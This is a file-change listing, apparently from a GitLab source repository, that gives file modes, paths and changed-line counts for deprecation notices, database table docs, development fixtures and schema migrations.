-rw-r--r--data/deprecations/14-8-sast-analyzer-removals.yml2
-rw-r--r--data/deprecations/14-8-sast-dotnet-21.yml2
-rw-r--r--data/deprecations/14-8-sast-secret-analyzer-image.yml2
-rw-r--r--data/deprecations/14-8-sast-spotbugs-java-8.yml2
-rw-r--r--data/deprecations/14-8-secret-detection-configurations.yml2
-rw-r--r--data/deprecations/14-8-secure-and-protect-analyzer-bump.yml2
-rw-r--r--data/deprecations/14-8-secure-ca-python-deprecation.yml2
-rw-r--r--data/deprecations/14-9-background-upload.yml2
-rw-r--r--data/deprecations/14-9-deprecate-composer-download-permissions.yml2
-rw-r--r--data/deprecations/14-9-deprecate-debian-9.yml2
-rw-r--r--data/deprecations/14-9-deprecate-permissions-change-package-settings.yml2
-rw-r--r--data/deprecations/14-9-deprecate-testcoveragesetting.yml2
-rw-r--r--data/deprecations/14-9-deprecation-htpassword-authentication-container-registry.yml2
-rw-r--r--data/deprecations/14-9-global-search-deprecate-user-email-lookup-limit.yml2
-rw-r--r--data/deprecations/14-9-pages-daemon.yml2
-rw-r--r--data/deprecations/14-9-system_monitoring.yml2
-rw-r--r--data/deprecations/15-0-ci-cd-settings-update-mutation-renamed.yml2
-rw-r--r--data/deprecations/15-0-deprecate-monitor-logging.yml2
-rw-r--r--data/deprecations/15-0-deprecate-monitor-metrics.yml2
-rw-r--r--data/deprecations/15-0-deprecate-monitor-tracing.yml2
-rw-r--r--data/deprecations/15-0-deprecate-postgresql-12.yml2
-rw-r--r--data/deprecations/15-0-instance-statistics-graphql-node-removal.yml2
-rw-r--r--data/deprecations/15-0-oauth-noexpiry.yml2
-rw-r--r--data/deprecations/15-0-oauth.yml2
-rw-r--r--data/deprecations/15-0-runner-status-legacy-mode.yml2
-rw-r--r--data/deprecations/15-1-deprecate-maintainer_note.yml2
-rw-r--r--data/deprecations/15-1-jira-github-enterprise-dvcs.yml2
-rw-r--r--data/deprecations/15-1-pipelinesecurityreportfinding-name.yml2
-rw-r--r--data/deprecations/15-1-pipelinesecurityreportfinding-projectfingerprint.yml2
-rw-r--r--data/deprecations/15-1-project-pipeline-securityReportFindings.yml2
-rw-r--r--data/deprecations/15-2-deprecation-vulnerability-report-state-sort.yml2
-rw-r--r--data/deprecations/15-2-job_age-deprecation.yml3
-rw-r--r--data/deprecations/15-3-deprecate-redis-5.yml3
-rw-r--r--data/deprecations/15-3-deprecation-vulnerability-report-tool-sort.yml2
-rw-r--r--data/deprecations/15-3-omniauth-cas3.yml2
-rw-r--r--data/deprecations/15-3-omniauth-crowd.yml2
-rw-r--r--data/deprecations/15-3-pipeline_activity_limit.yml2
-rw-r--r--data/deprecations/15-3-vulnerabilityFindingDismiss-mutation.yml3
-rw-r--r--data/deprecations/15-4-confidence-field-in-graphql.yml2
-rw-r--r--data/deprecations/15-4-create-deprecation-draft-quick-action-toggle.yml2
-rw-r--r--data/deprecations/15-4-cs-docker-variables.yml2
-rw-r--r--data/deprecations/15-4-deprecate-bundled-grafana.yml2
-rw-r--r--data/deprecations/15-4-non-expiring-access-tokens.yml2
-rw-r--r--data/deprecations/15-4-starboard-directive.yml2
-rw-r--r--data/deprecations/15-5-confidential-field-on-notes.yml2
-rw-r--r--data/deprecations/15-5-disable-file-type-var-expansion-ci-pipeline.yml2
-rw-r--r--data/deprecations/15-5-vulnerabilityFindingDismiss-mutation.yml2
-rw-r--r--data/deprecations/15-6-deprecate-config-fields-runner-helm-chart.yml3
-rw-r--r--data/deprecations/15-6-deprecate-merge_status-api-field.yml2
-rw-r--r--data/deprecations/15-6-deprecate-post-api-v4-runner.yml3
-rw-r--r--data/deprecations/15-6-deprecate-runner-reg-token-helm.yml3
-rw-r--r--data/deprecations/15-6-deprecate-runner-register-command.yml3
-rw-r--r--data/deprecations/15-6-deprecate-runner-register-token-k8s-operator.yml3
-rw-r--r--data/deprecations/15-7-dast-api-variable-deprecation.yml2
-rw-r--r--data/deprecations/15-7-deprecate-api-v4-runner-registration-token-reset-endpoints.yml3
-rw-r--r--data/deprecations/15-7-deprecate-dast-api-scan-in-dast-template.yml2
-rw-r--r--data/deprecations/15-7-deprecate-dast-zap-variables.yml2
-rw-r--r--data/deprecations/15-7-deprecate-gitlab-runner-exec-cmd.yml3
-rw-r--r--data/deprecations/15-7-deprecate-kas-metrics-port-in-gitlab-chart.yml3
-rw-r--r--data/deprecations/15-7-deprecate-phabricator-importer.yml2
-rw-r--r--data/deprecations/15-7-deprecate-shimo-integration.yml3
-rw-r--r--data/deprecations/15-7-deprecate-single-merge-request-changes-api-endpoint.yml2
-rw-r--r--data/deprecations/15-7-deprecate-zentao-integration.yml3
-rw-r--r--data/deprecations/15-7-enable-period-in-terraform-state-name.yml3
-rw-r--r--data/deprecations/15-8-azure-storage-driver-root-prefix.yml13
-rw-r--r--data/deprecations/15-8-conan-search-limited-to-project.yml11
-rw-r--r--data/deprecations/15-8-dast-report-variables-deprecation.yml2
-rw-r--r--data/deprecations/15-8-default-private-user-profile.yml9
-rw-r--r--data/deprecations/15-8-dependency-scanning-java-versions.yml9
-rw-r--r--data/deprecations/15-8-deprecate-auto-deploy-postgres-enabled.yml16
-rw-r--r--data/deprecations/15-8-deprecate-deploy-PAT-with-external-auth.yml9
-rw-r--r--data/deprecations/15-8-deprecate-disabled-with-override-runner-setting-value.yml18
-rw-r--r--data/deprecations/15-8-deprecate-gitlabcom-importer.yml18
-rw-r--r--data/deprecations/15-8-deprecate-herokuish.yml12
-rw-r--r--data/deprecations/15-8-deprecate-import-bare-repositories-rake-task.yml28
-rw-r--r--data/deprecations/15-8-deprecate-merge-request-approvals-fields.yml14
-rw-r--r--data/deprecations/15-8-deprecate-opensuse-15-3.yml14
-rw-r--r--data/deprecations/15-8-deprecate-updated-at-error.yml45
-rw-r--r--data/deprecations/15-8-live-preview.yml11
-rw-r--r--data/deprecations/15-8-projects-api-ops-access-level.yml45
-rw-r--r--data/deprecations/15-8-pull-through-cache-container-registry.yml9
-rw-r--r--data/deprecations/15-8-raise-permissions-settings-package-stage.yml17
-rw-r--r--data/deprecations/15-8-redis-config-env.yml13
-rw-r--r--data/deprecations/15-8-redis-localhost.yml16
-rw-r--r--data/deprecations/15-8-remove-deprecated-environment-tier-param-from-dora-api.yml9
-rw-r--r--data/deprecations/15-8-restrict-gitlab-projects-imports-to-maintainers-and-above.yml13
-rw-r--r--data/deprecations/15-8-revoked-agent-tokens-api-change.yml20
-rw-r--r--data/deprecations/15-8-terraform-latest-stable-change.yml18
-rw-r--r--data/deprecations/15-8-third-party-registries.yml13
-rw-r--r--data/deprecations/15-8-visual-review-tool.yml23
-rw-r--r--data/deprecations/15.8-kas-private-tls.yml16
-rw-r--r--data/deprecations/16-0-post-ci-lint.yml3
-rw-r--r--data/deprecations/16-0-security_report_schemas_v14-x-x.yml3
-rw-r--r--data/deprecations/distribution_deprecations_14-4.yml2
-rw-r--r--data/deprecations/templates/_deprecation_template.md.erb4
-rw-r--r--data/deprecations/templates/example.yml24
-rw-r--r--data/removals/templates/example.yml27
-rw-r--r--data/whats_new/202212200001_15_07.yml6
-rw-r--r--db/docs/achievements.yml2
-rw-r--r--db/docs/analytics_cycle_analytics_group_stages.yml2
-rw-r--r--db/docs/analytics_cycle_analytics_group_value_streams.yml2
-rw-r--r--db/docs/analytics_dashboards_pointers.yml10
-rw-r--r--db/docs/approval_merge_request_rules_approved_approvers.yml2
-rw-r--r--db/docs/approver_groups.yml2
-rw-r--r--db/docs/approvers.yml2
-rw-r--r--db/docs/chat_names.yml2
-rw-r--r--db/docs/chat_teams.yml2
-rw-r--r--db/docs/ci_job_artifacts.yml1
-rw-r--r--db/docs/ci_minutes_additional_packs.yml2
-rw-r--r--db/docs/ci_namespace_mirrors.yml2
-rw-r--r--db/docs/ci_pipeline_chat_data.yml2
-rw-r--r--db/docs/ci_project_mirrors.yml2
-rw-r--r--db/docs/ci_runner_machines.yml10
-rw-r--r--db/docs/clusters_applications_cilium.yml2
-rw-r--r--db/docs/dast_pre_scan_verifications.yml2
-rw-r--r--db/docs/dependency_list_exports.yml2
-rw-r--r--db/docs/dingtalk_tracker_data.yml3
-rw-r--r--db/docs/draft_notes.yml2
-rw-r--r--db/docs/elastic_group_index_statuses.yml10
-rw-r--r--db/docs/elastic_reindexing_slices.yml2
-rw-r--r--db/docs/elasticsearch_indexed_projects.yml2
-rw-r--r--db/docs/geo_container_repository_updated_events.yml10
-rw-r--r--db/docs/ghost_user_migrations.yml2
-rw-r--r--db/docs/historical_data.yml4
-rw-r--r--db/docs/integrations.yml3
-rw-r--r--db/docs/lfs_file_locks.yml2
-rw-r--r--db/docs/lfs_object_states.yml2
-rw-r--r--db/docs/lfs_objects.yml2
-rw-r--r--db/docs/lfs_objects_projects.yml1
-rw-r--r--db/docs/loose_foreign_keys_deleted_records.yml2
-rw-r--r--db/docs/merge_request_assignees.yml2
-rw-r--r--db/docs/merge_request_cleanup_schedules.yml2
-rw-r--r--db/docs/merge_request_context_commit_diff_files.yml2
-rw-r--r--db/docs/merge_request_context_commits.yml2
-rw-r--r--db/docs/merge_request_diff_commit_users.yml2
-rw-r--r--db/docs/merge_request_diff_commits.yml2
-rw-r--r--db/docs/merge_request_diff_files.yml2
-rw-r--r--db/docs/merge_request_diffs.yml2
-rw-r--r--db/docs/merge_request_metrics.yml2
-rw-r--r--db/docs/merge_request_predictions.yml2
-rw-r--r--db/docs/merge_request_reviewers.yml2
-rw-r--r--db/docs/merge_requests.yml2
-rw-r--r--db/docs/merge_requests_closing_issues.yml2
-rw-r--r--db/docs/ml_candidate_metadata.yml1
-rw-r--r--db/docs/ml_candidate_metrics.yml1
-rw-r--r--db/docs/ml_candidate_params.yml5
-rw-r--r--db/docs/ml_candidates.yml1
-rw-r--r--db/docs/ml_experiment_metadata.yml1
-rw-r--r--db/docs/ml_experiments.yml1
-rw-r--r--db/docs/namespace_aggregation_schedules.yml2
-rw-r--r--db/docs/namespace_bans.yml6
-rw-r--r--db/docs/namespace_details.yml2
-rw-r--r--db/docs/namespace_limits.yml2
-rw-r--r--db/docs/namespace_root_storage_statistics.yml2
-rw-r--r--db/docs/namespace_statistics.yml2
-rw-r--r--db/docs/namespaces_sync_events.yml2
-rw-r--r--db/docs/note_diff_files.yml2
-rw-r--r--db/docs/notes.yml4
-rw-r--r--db/docs/operations_feature_flags.yml2
-rw-r--r--db/docs/packages_rpm_repository_files.yml2
-rw-r--r--db/docs/project_statistics.yml2
-rw-r--r--db/docs/project_wiki_repository_states.yml2
-rw-r--r--db/docs/projects_sync_events.yml2
-rw-r--r--db/docs/reviews.yml2
-rw-r--r--db/docs/security_orchestration_policy_configurations.yml2
-rw-r--r--db/docs/security_orchestration_policy_rule_schedules.yml2
-rw-r--r--db/docs/slack_api_scopes.yml2
-rw-r--r--db/docs/slack_integrations_scopes.yml2
-rw-r--r--db/docs/snippet_repositories.yml2
-rw-r--r--db/docs/snippet_statistics.yml2
-rw-r--r--db/docs/snippet_user_mentions.yml2
-rw-r--r--db/docs/snippets.yml2
-rw-r--r--db/docs/suggestions.yml2
-rw-r--r--db/docs/timelog_categories.yml2
-rw-r--r--db/docs/uploads.yml4
-rw-r--r--db/docs/user_achievements.yml10
-rw-r--r--db/docs/user_highest_roles.yml4
-rw-r--r--db/docs/user_namespace_callouts.yml5
-rw-r--r--db/docs/users_statistics.yml2
-rw-r--r--db/docs/views/postgres_partitioned_tables.yml2
-rw-r--r--db/docs/vulnerability_remediations.yml1
-rw-r--r--db/docs/vulnerability_state_transitions.yml4
-rw-r--r--db/docs/work_item_parent_links.yml1
-rw-r--r--db/fixtures/development/03_project.rb1
-rw-r--r--db/fixtures/development/17_cycle_analytics.rb12
-rw-r--r--db/fixtures/development/33_triage_ops.rb44
-rw-r--r--db/fixtures/development/35_emails.rb55
-rw-r--r--db/init_structure.sql2318
-rw-r--r--db/migrate/20210301200959_init_schema.rb13
-rw-r--r--db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb17
-rw-r--r--db/migrate/20210302103851_add_deployed_deployment_id_index_to_project_pages_metadata.rb19
-rw-r--r--db/migrate/20210302155904_remove_index_for_security_orchestration_policy.rb18
-rw-r--r--db/migrate/20210302160544_add_index_to_security_orchestration_policy.rb18
-rw-r--r--db/migrate/20210302212623_rename_vuln_fingerprints_indexes.rb35
-rw-r--r--db/migrate/20210303053341_add_last_edited_at_and_last_edited_by_id_to_notes.rb19
-rw-r--r--db/migrate/20210303091651_add_index_to_environments_tier.rb19
-rw-r--r--db/migrate/20210303165201_add_index_for_succeeded_deployments.rb18
-rw-r--r--db/migrate/20210303165301_add_not_null_constraint_to_cluster_token_name.rb18
-rw-r--r--db/migrate/20210303193544_add_concurrent_fields_to_bulk_imports_trackers.rb21
-rw-r--r--db/migrate/20210303193605_add_text_limits_to_bulk_imports_trackers_jid_and_pipeline_name.rb16
-rw-r--r--db/migrate/20210305002016_update_terraform_states_locked_by_user_id_foreign_key.rb29
-rw-r--r--db/migrate/20210305013509_add_text_limit_to_group_ci_variables_environment_scope.rb17
-rw-r--r--db/migrate/20210305031822_create_dast_site_profile_variables.rb40
-rw-r--r--db/migrate/20210305145622_add_terraform_module_max_file_size_to_plan_limits.rb9
-rw-r--r--db/migrate/20210305180331_create_ci_unit_tests.rb31
-rw-r--r--db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb19
-rw-r--r--db/migrate/20210305182855_create_ci_unit_test_failures.rb24
-rw-r--r--db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb19
-rw-r--r--db/migrate/20210306121300_partition_web_hook_logs.rb19
-rw-r--r--db/migrate/20210308125742_add_info_column_into_security_scans_table.rb9
-rw-r--r--db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb14
-rw-r--r--db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb9
-rw-r--r--db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb9
-rw-r--r--db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb9
-rw-r--r--db/migrate/20210308190413_change_batched_background_migrations_batch_class_name_default.rb10
-rw-r--r--db/migrate/20210309160106_add_admin_mode_to_application_setting.rb9
-rw-r--r--db/migrate/20210309181019_add_last_used_at_to_cluster_agent_token.rb9
-rw-r--r--db/migrate/20210310000627_add_idx_vulnerability_occurrences_dedup.rb24
-rw-r--r--db/migrate/20210310111009_add_settings_to_group_merge_request_approval_settings.rb14
-rw-r--r--db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb24
-rw-r--r--db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb9
-rw-r--r--db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb21
-rw-r--r--db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb21
-rw-r--r--db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb18
-rw-r--r--db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb13
-rw-r--r--db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb19
-rw-r--r--db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb12
-rw-r--r--db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb27
-rw-r--r--db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb9
-rw-r--r--db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb21
-rw-r--r--db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb18
-rw-r--r--db/migrate/20210316171009_create_packages_helm_file_metadata.rb26
-rw-r--r--db/migrate/20210317035357_create_dast_profiles_pipelines.rb20
-rw-r--r--db/migrate/20210317100520_create_elastic_index_settings.rb23
-rw-r--r--db/migrate/20210317104301_create_in_product_marketing_emails.rb33
-rw-r--r--db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb19
-rw-r--r--db/migrate/20210317123054_add_throttle_package_registry_columns.rb14
-rw-r--r--db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb9
-rw-r--r--db/migrate/20210317210338_add_valid_runner_registrars.rb7
-rw-r--r--db/migrate/20210318134427_delete_security_findings_without_uuid.rb25
-rw-r--r--db/migrate/20210319071214_add_helm_max_file_size_to_plan_limits.rb9
-rw-r--r--db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb19
-rw-r--r--db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb19
-rw-r--r--db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb19
-rw-r--r--db/migrate/20210323064751_add_namespace_traversal_ids_index.rb18
-rw-r--r--db/migrate/20210323125809_create_status_check_responses_table.rb19
-rw-r--r--db/migrate/20210323130831_add_merge_request_foreign_key_to_status_check_responses.rb17
-rw-r--r--db/migrate/20210323131543_add_external_approval_rule_foreign_key_to_status_check_responses.rb17
-rw-r--r--db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb37
-rw-r--r--db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb18
-rw-r--r--db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb28
-rw-r--r--db/migrate/20210324131727_migrate_elastic_index_settings.rb31
-rw-r--r--db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb19
-rw-r--r--db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb17
-rw-r--r--db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb18
-rw-r--r--db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb19
-rw-r--r--db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb27
-rw-r--r--db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb19
-rw-r--r--db/migrate/20210326190903_create_vulnerability_finding_evidences.rb26
-rw-r--r--db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb18
-rw-r--r--db/migrate/20210329191850_add_finding_signature_table.rb40
-rw-r--r--db/migrate/20210329192716_add_composite_index_to_award_emoji.rb18
-rw-r--r--db/migrate/20210330015805_add_cloud_to_licenses.rb9
-rw-r--r--db/migrate/20210331000934_add_config_to_ci_runners.rb7
-rw-r--r--db/migrate/20210331125111_add_default_target_project.rb17
-rw-r--r--db/migrate/20210331145548_add_index_for_last_deployment.rb18
-rw-r--r--db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb19
-rw-r--r--db/migrate/20210401134157_add_index_to_pages_deployments.rb18
-rw-r--r--db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb30
-rw-r--r--db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb9
-rw-r--r--db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb19
-rw-r--r--db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb18
-rw-r--r--db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb13
-rw-r--r--db/migrate/20210407002511_add_type_to_dast_site_profile.rb7
-rw-r--r--db/migrate/20210407111027_add_whats_new_application_setting.rb7
-rw-r--r--db/migrate/20210407140539_add_verification_state_and_started_at_to_terraform_state_version_table.rb10
-rw-r--r--db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb18
-rw-r--r--db/migrate/20210411212813_add_clusters_integrations_prometheus.rb21
-rw-r--r--db/migrate/20210412111213_create_security_orchestration_policy_rule_schedule.rb33
-rw-r--r--db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb16
-rw-r--r--db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb17
-rw-r--r--db/migrate/20210412142223_add_user_index_on_spam_logs.rb17
-rw-r--r--db/migrate/20210412172030_add_configured_at_to_security_orchestration_policy.rb9
-rw-r--r--db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb21
-rw-r--r--db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb21
-rw-r--r--db/migrate/20210413155324_add_pause_seconds_to_batched_background_migrations.rb7
-rw-r--r--db/migrate/20210414045322_add_pause_seconds_to_batched_background_migration_jobs.rb7
-rw-r--r--db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb17
-rw-r--r--db/migrate/20210414100914_add_bulk_import_exports_table.rb25
-rw-r--r--db/migrate/20210414130017_add_foreign_key_to_bulk_import_exports_on_project.rb17
-rw-r--r--db/migrate/20210414130526_add_foreign_key_to_bulk_import_exports_on_group.rb17
-rw-r--r--db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb19
-rw-r--r--db/migrate/20210414131807_add_bulk_import_exports_table_indexes.rb29
-rw-r--r--db/migrate/20210414133310_add_bulk_import_export_uploads_table.rb19
-rw-r--r--db/migrate/20210415100159_initialize_conversion_of_ci_build_needs_to_bigint.rb17
-rw-r--r--db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb17
-rw-r--r--db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb17
-rw-r--r--db/migrate/20210415172516_create_vulnerability_finding_evidence_requests.rb28
-rw-r--r--db/migrate/20210416172516_create_vulnerability_finding_evidence_responses.rb27
-rw-r--r--db/migrate/20210419090412_remove_debian_group_architectures_distribution_id_index.rb19
-rw-r--r--db/migrate/20210419090542_remove_debian_project_architectures_distribution_id_index.rb19
-rw-r--r--db/migrate/20210419203017_add_remote_import_url_to_import_export_upload.rb8
-rw-r--r--db/migrate/20210419203018_add_remote_text_limit_to_import_url_in_import_export_upload.rb15
-rw-r--r--db/migrate/20210419224834_update_issues_iteration_foreign_key.rb23
-rw-r--r--db/migrate/20210420012444_change_web_hook_events_default.rb15
-rw-r--r--db/migrate/20210420012909_index_cluster_agent_tokens_on_last_used_at.rb20
-rw-r--r--db/migrate/20210420120734_initialize_conversion_of_ci_job_artifacts_to_bigint.rb22
-rw-r--r--db/migrate/20210420173030_add_verification_indexes_to_terraform_state_versions.rb26
-rw-r--r--db/migrate/20210420210642_recreate_index_for_project_deployments_with_environment_id_and_date_at.rb23
-rw-r--r--db/migrate/20210420221106_update_merge_requests_iteration_foreign_key.rb23
-rw-r--r--db/migrate/20210421021510_add_deactivate_dormant_users_to_application_settings.rb7
-rw-r--r--db/migrate/20210421022010_add_index_for_dormant_users.rb19
-rw-r--r--db/migrate/20210421081724_add_codeowners_devops_adoption_snapshot.rb8
-rw-r--r--db/migrate/20210421190157_remove_elastic_task_null_constraint_from_elastic_reindexing_subtasks.rb19
-rw-r--r--db/migrate/20210422022825_initialize_conversion_of_ci_sources_pipelines_source_job_id_to_bigint.rb18
-rw-r--r--db/migrate/20210422142647_add_project_id_next_run_at_index_to_container_expiration_policies.rb17
-rw-r--r--db/migrate/20210422181809_add_project_to_timelogs.rb19
-rw-r--r--db/migrate/20210422195929_create_elastic_reindexing_slices.rb44
-rw-r--r--db/migrate/20210423054022_create_dast_site_profiles_pipelines.rb18
-rw-r--r--db/migrate/20210423054537_add_dast_site_profile_id_fk_to_dast_site_profiles_pipelines.rb19
-rw-r--r--db/migrate/20210423054846_add_ci_pipeline_id_fk_to_dast_site_profiles_pipelines.rb19
-rw-r--r--db/migrate/20210423155059_add_runner_registration_to_plan_limits.rb8
-rw-r--r--db/migrate/20210423164702_insert_runner_registration_plan_limits.rb26
-rw-r--r--db/migrate/20210423171304_re_order_fk_source_project_id_in_merge_requests.rb24
-rw-r--r--db/migrate/20210424115725_swap_partitioned_web_hook_logs.rb15
-rw-r--r--db/migrate/20210424163400_add_project_id_fk_to_timelogs.rb22
-rw-r--r--db/migrate/20210426094524_initialize_conversion_of_ci_builds_to_bigint.rb17
-rw-r--r--db/migrate/20210427045604_initialize_conversion_of_ci_build_trace_chunks_to_bigint.rb16
-rw-r--r--db/migrate/20210427062807_add_index_to_batched_migration_jobs_status.rb17
-rw-r--r--db/migrate/20210427084924_initialize_conversion_of_ci_builds_runner_session_to_bigint.rb16
-rw-r--r--db/migrate/20210427094931_add_execution_order_index_to_batched_background_migration_jobs.rb17
-rw-r--r--db/migrate/20210427125400_add_spamcheck_api_key_to_application_setting.rb13
-rw-r--r--db/migrate/20210427194958_add_description_roll_over_to_iterations_cadences.rb19
-rw-r--r--db/migrate/20210427200840_add_text_limit_to_iterations_cadences_description.rb15
-rw-r--r--db/migrate/20210428151144_update_invalid_web_hooks.rb24
-rw-r--r--db/migrate/20210428151238_validate_foreign_key_on_group_hooks.rb15
-rw-r--r--db/migrate/20210429024843_add_escalation_policies.rb25
-rw-r--r--db/migrate/20210429032320_add_escalation_rules.rb19
-rw-r--r--db/migrate/20210429131525_create_user_credit_card_validations.rb22
-rw-r--r--db/migrate/20210429181325_add_failure_tracking_to_web_hooks.rb11
-rw-r--r--db/migrate/20210429192653_add_generic_package_duplicate_settings_to_namespace_package_settings.rb11
-rw-r--r--db/migrate/20210429193106_add_text_limit_to_namespace_package_settings_generic_duplicate_exception_regex.rb15
-rw-r--r--db/migrate/20210430034712_add_alert_manager_token_to_clusters_integration_prometheus.rb10
-rw-r--r--db/migrate/20210430100947_add_elasticsearch_username_password_to_application_settings.rb13
-rw-r--r--db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb16
-rw-r--r--db/migrate/20210430122951_add_snapshot_namespace_id.rb7
-rw-r--r--db/migrate/20210430124212_add_display_namespace_id_to_segments.rb7
-rw-r--r--db/migrate/20210430124630_add_devops_adoption_indexes.rb32
-rw-r--r--db/migrate/20210430154631_add_slice_multiplier_and_max_slices_to_elastic_reindexing_task.rb18
-rw-r--r--db/migrate/20210503105022_create_project_value_streams.rb27
-rw-r--r--db/migrate/20210503105845_add_project_value_stream_id_to_project_stages.rb30
-rw-r--r--db/migrate/20210503131747_add_web_hook_calls_to_plan_limits.rb7
-rw-r--r--db/migrate/20210504085144_add_index_on_web_hook_project_id_recent_failures.rb17
-rw-r--r--db/migrate/20210504135823_add_floc_application_settings.rb7
-rw-r--r--db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb10
-rw-r--r--db/migrate/20210504153354_create_clusters_integration_elasticstack.rb21
-rw-r--r--db/migrate/20210504164429_create_partial_indexes_for_pending_and_running_builds.rb20
-rw-r--r--db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb37
-rw-r--r--db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb37
-rw-r--r--db/migrate/20210505124816_add_text_limit_to_elasticsearch_username.rb15
-rw-r--r--db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb26
-rw-r--r--db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb29
-rw-r--r--db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb11
-rw-r--r--db/migrate/20210510083845_add_sha_to_status_check_response.rb13
-rw-r--r--db/migrate/20210510191551_add_body_to_findings_evidences_request.rb10
-rw-r--r--db/migrate/20210510191552_add_limit_to_findings_evidences_request_body.rb17
-rw-r--r--db/migrate/20210511104929_add_epic_board_recent_visits_table.rb24
-rw-r--r--db/migrate/20210511104930_add_index_to_epic_board_recent_visits.rb20
-rw-r--r--db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb19
-rw-r--r--db/migrate/20210512120122_add_pending_builds_table.rb15
-rw-r--r--db/migrate/20210512183309_add_body_to_findings_evidences_response.rb10
-rw-r--r--db/migrate/20210512183310_add_limit_to_findings_evidences_response_body.rb17
-rw-r--r--db/migrate/20210513093418_add_draft_column_to_merge_requests.rb17
-rw-r--r--db/migrate/20210517130723_make_snapshot_segment_id_optional.rb11
-rw-r--r--db/migrate/20210517144856_require_snapshot_namespace.rb19
-rw-r--r--db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb17
-rw-r--r--db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb16
-rw-r--r--db/migrate/20210519154058_schedule_update_users_where_two_factor_auth_required_from_group.rb34
-rw-r--r--db/migrate/20210520102039_group_protected_environments_add_column.rb15
-rw-r--r--db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb16
-rw-r--r--db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb18
-rw-r--r--db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb23
-rw-r--r--db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb16
-rw-r--r--db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb18
-rw-r--r--db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb16
-rw-r--r--db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb18
-rw-r--r--db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb7
-rw-r--r--db/migrate/20210526135911_create_ci_minutes_additional_packs.rb25
-rw-r--r--db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb15
-rw-r--r--db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb17
-rw-r--r--db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb17
-rw-r--r--db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb7
-rw-r--r--db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb26
-rw-r--r--db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb17
-rw-r--r--db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb15
-rw-r--r--db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb11
